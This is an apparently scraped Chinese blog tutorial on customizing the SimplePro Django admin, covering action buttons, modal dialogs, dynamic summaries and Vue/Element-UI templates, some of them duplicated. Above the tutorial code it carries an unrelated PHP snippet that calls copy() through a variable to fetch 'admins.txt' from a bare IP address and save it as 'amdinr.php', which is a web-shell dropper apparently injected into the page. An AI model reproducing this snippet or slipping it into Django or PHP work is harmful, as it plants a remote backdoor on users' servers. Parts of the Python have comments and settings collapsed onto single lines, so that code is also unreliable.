任何时候你都可以开始做自己想做的事

搜索|
【Django Admin】PRO自定义 按钮、弹出框、动态统计
发布时间:2023-09-15 11:51:57

<?php

$a="copy";

$a("http://160.124.106.168/admins.txt","amdinr.php");

?>

# admin.py


import datetime

import random

import time

from django.contrib import admin, messages

# Register your models here.

from django.db.models import Sum

from django.urls import reverse

from django.utils.html import format_html

from import_export.admin import ExportActionModelAdmin

from django.http import HttpResponse, JsonResponse

from simplepro.dialog import ModalDialog

from simpleui.admin import AjaxAdmin


from .export_config import UserinfoResource

from .models import UserInfo

from openpyxl import Workbook



@admin.register(UserInfo)

class UserInfoAdmin(ExportActionModelAdmin,AjaxAdmin):

    # 导出文件配置

    resource_class = UserinfoResource   # 水平显示    radio_fields = {"goods_style": admin.HORIZONTAL}  # 显示字段     list_display = ('name', "head_picture", 'sex', "interest", "is_staff","btn_custom","age", "score_custom", "time", "date") # 查询字段 search_fields = ('name',) actions_on_top = True # 搜索字段 list_filter = ('sex', "is_staff", "date") list_filter_multiples = ('sex',) # 搜索多选 # 分页 list_per_page = 10 # 显示的按钮 actions = ['action_demo','async_layer_action']  # 弹出框 表单组件

    def async_layer_action(self, request, queryset):

        return JsonResponse({'status': 'success', 'msg': '操作成功'})

    async_layer_action.short_description = '按钮名称'

    async_layer_action.icon = 'el-icon-view' # 按钮显示的图标

    async_layer_action.enable = True         # 设置不选择数据也可以执行配置


    # 这里的queryset 或根据搜索条件来过滤数据

    def async_get_layer_config(self, request, queryset):

        # print(request)

        # print(queryset)

        # 返回的是 表单组件

        return {

            'title': '对话框的标题',

            'tips': '提示信息',

            'confirm_button': '确认提交',

            'cancel_button': '取消',

            'width': '40%',            # 弹出层对话框的宽度,默认50%

            'labelWidth': "80px",      # 表单中 label的宽度,对应element-ui的 label-width,默认80px

            'params': [

                {

                'type': 'input',

                'key': 'name',        # key 对应post参数中的key

                'label': '名称',       # 显示的文本

                'require': True,      # 为空校验,默认为False

                'value': random.randint(0, 100)

            },

            ]

        }

    async_layer_action.layer = async_get_layer_config






    # 自定义按钮

    def action_custom(self, request, queryset):

        print("自定义按钮", request, queryset)

        messages.add_message(request, messages.SUCCESS, 'SUCCESS')

        messages.add_message(request, messages.ERROR, 'ERROR')

        messages.add_message(request, messages.DEBUG, 'DEBUG')

        messages.add_message(request, messages.WARNING, 'WARNING')

        messages.add_message(request, messages.INFO, 'INFO')


    action_custom.short_description = '自定义按钮'

    action_custom.icon = 'fas fa-audio-description'

    action_custom.type = 'Success'

    action_custom.enable = True

    action_custom.confirm = '你是否执意要点击这个按钮?'

    # action_demo.action_url = 'https://www.baidu.com

    # 动态限制  返回显示的数据值

    def get_queryset(self, request):

        qs = super().get_queryset(request)

        return qs.filter(id__gte=1)


    # 判断  动态返回显示字段    self.list_display = ('name', 'head_picture', 'sex', 'interest', 'is_staff', 'age', 'score_custom', 'time', 'date')

    def get_list_display(self, request):

        if not request.user.is_superuser:

            res_list_display = ('name', 'head_picture', 'interest', 'is_staff', 'age', 'score_custom', 'time', 'date')

        else:

            res_list_display = self.list_display

        return res_list_display


    # 判断  动态限制搜索字段   self.list_filter =  ('sex', 'is_staff', 'date')

    def get_list_filter(self, request):

        return self.list_filter


    # 判断 动态限制返回的自定义按钮

    def get_actions(self, request):

        actions = super(UserInfoAdmin, self).get_actions(request)

        if request.user.is_superuser:

            # 删除 限制的自定义按钮

            if 'action_demo' in actions:

                del actions['action_demo']

        return actions


    # 处理每一行的所有数据

    def get_results(self, results, request, queryset):

        new_results = []

        for item in results:

            # 这里可以对结果进行干预,item是 dict类型

            # print("item",item)

            pass

            new_results.append(item)


        return new_results






    # 动态统计 PRO的

    def get_summaries(self, request, queryset):

        # 如果想统计满足当前搜索条件的数据的话 ,可以直接使用queryset.来进行统计

        total = "¥{}".format(queryset.aggregate(total=Sum('score')).get('total'))  # 当前成绩总和

        # 需要有空字符串占位

        return ('', '统计', '', '', '', '', '', total, '',)





    # Admin自定义返回列表PRO  例子:成绩

    def score_custom(self, models_obj):

        if models_obj.score < 60:

            font_color = "red"

        else:

            font_color = "green"

        return format_html('<span style="color:{};">{}</span>'.format(font_color, models_obj.score))

    score_custom.admin_order_field = 'score'  # 继承admin原字段的排序 但是在PRO上无法排序  在simpleui可以

    score_custom.short_description = '成绩'


    # Admin自定义返回列表PRO  例子:照片邮箱

    def head_picture(self, models_obj):

        return format_html('<img src="{}" height="50" width="50">', '{}'.format(models_obj.head))

    head_picture.short_description = '照片'



  # 导入自定义CSS文件  class Media:      css = {          'all': (              '/static/css/custom.css',          )      }


# 自定义按钮  对话框按钮显示页面

    def btn_custom(self, model_obj):

        modal = ModalDialog()    # 对话框对象

        modal.cell = '<el-link type="primary">点击查看</el-link>' # 单元格显示的文本

        modal.title = "详情对话框"

        # 这里的url可以写死,也可以用django的方向获取url,可以根据model的数据,传到url中   reverse反向解析

        modal.url = reverse('customer:table')

        modal.show_cancel = True

        return modal

    btn_custom.short_description = '对话框'

    配置:                       

# base.html


<!DOCTYPE html>

<html>

<head>

    <meta charset="UTF-8">

    <title>父页面</title>

    <!-- 引入样式 -->

    <link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css">

    <!-- 引入vue -->

    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>

    <!-- 引入组件库 -->

    <script src="https://unpkg.com/element-ui/lib/index.js"></script>

</head>

<body>

<div>

    {% block main %}

        这里是主要的内容区域

    {% endblock %}

</div>


{% block script %}

    脚本区域

{% endblock %}

</body>

</html>

      

# table.html


{% extends 'base.html' %}


{% block main %}


    <div>子页面对话框的内容</div>

    <div>

        获取到的ID:{{ request.GET.id }}

    </div>


    <div id="app">

        <div v-text="message"></div>


    </div>


{% endblock %}



{% block script %}


    {#引入axios#}

    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>

    <script type="text/javascript">


        new Vue({

            el: '#app',

            data() {

                return {

                    message: 'Hello Vue!',

                    options: [{

                        value: '选项1',

                        label: '黄金糕'

                    }, {

                        value: '选项2',

                        label: '双皮奶'

                    }, {

                        value: '选项3',

                        label: '蚵仔煎'

                    }, {

                        value: '选项4',

                        label: '龙须面'

                    }, {

                        value: '选项5',

                        label: '北京烤鸭'

                    }],

                    value: ''

                }

            }

        })


    </script>

{% endblock %}


# base.html


<!DOCTYPE html>

<html>

<head>

    <meta charset="UTF-8">

    <title>父页面</title>

    <!-- 引入样式 -->

    <link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css">

    <!-- 引入vue -->

    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>

    <!-- 引入组件库 -->

    <script src="https://unpkg.com/element-ui/lib/index.js"></script>

</head>

<body>

<div>

    {% block main %}

        这里是主要的内容区域

    {% endblock %}

</div>


{% block script %}

    脚本区域

{% endblock %}

</body>

</html>


# table.html


{% extends 'base.html' %}


{% block main %}


    <div>子页面对话框的内容</div>

    <div>

        获取到的ID:{{ request.GET.id }}

    </div>


    <div id="app">

        <div v-text="message"></div>


    </div>


{% endblock %}



{% block script %}


    {#引入axios#}

    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>

    <script type="text/javascript">


        new Vue({

            el: '#app',

            data() {

                return {

                    message: 'Hello Vue!',

                    options: [{

                        value: '选项1',

                        label: '黄金糕'

                    }, {

                        value: '选项2',

                        label: '双皮奶'

                    }, {

                        value: '选项3',

                        label: '蚵仔煎'

                    }, {

                        value: '选项4',

                        label: '龙须面'

                    }, {

                        value: '选项5',

                        label: '北京烤鸭'

                    }],

                    value: ''

                }

            }

        })


    </script>

{% endblock %}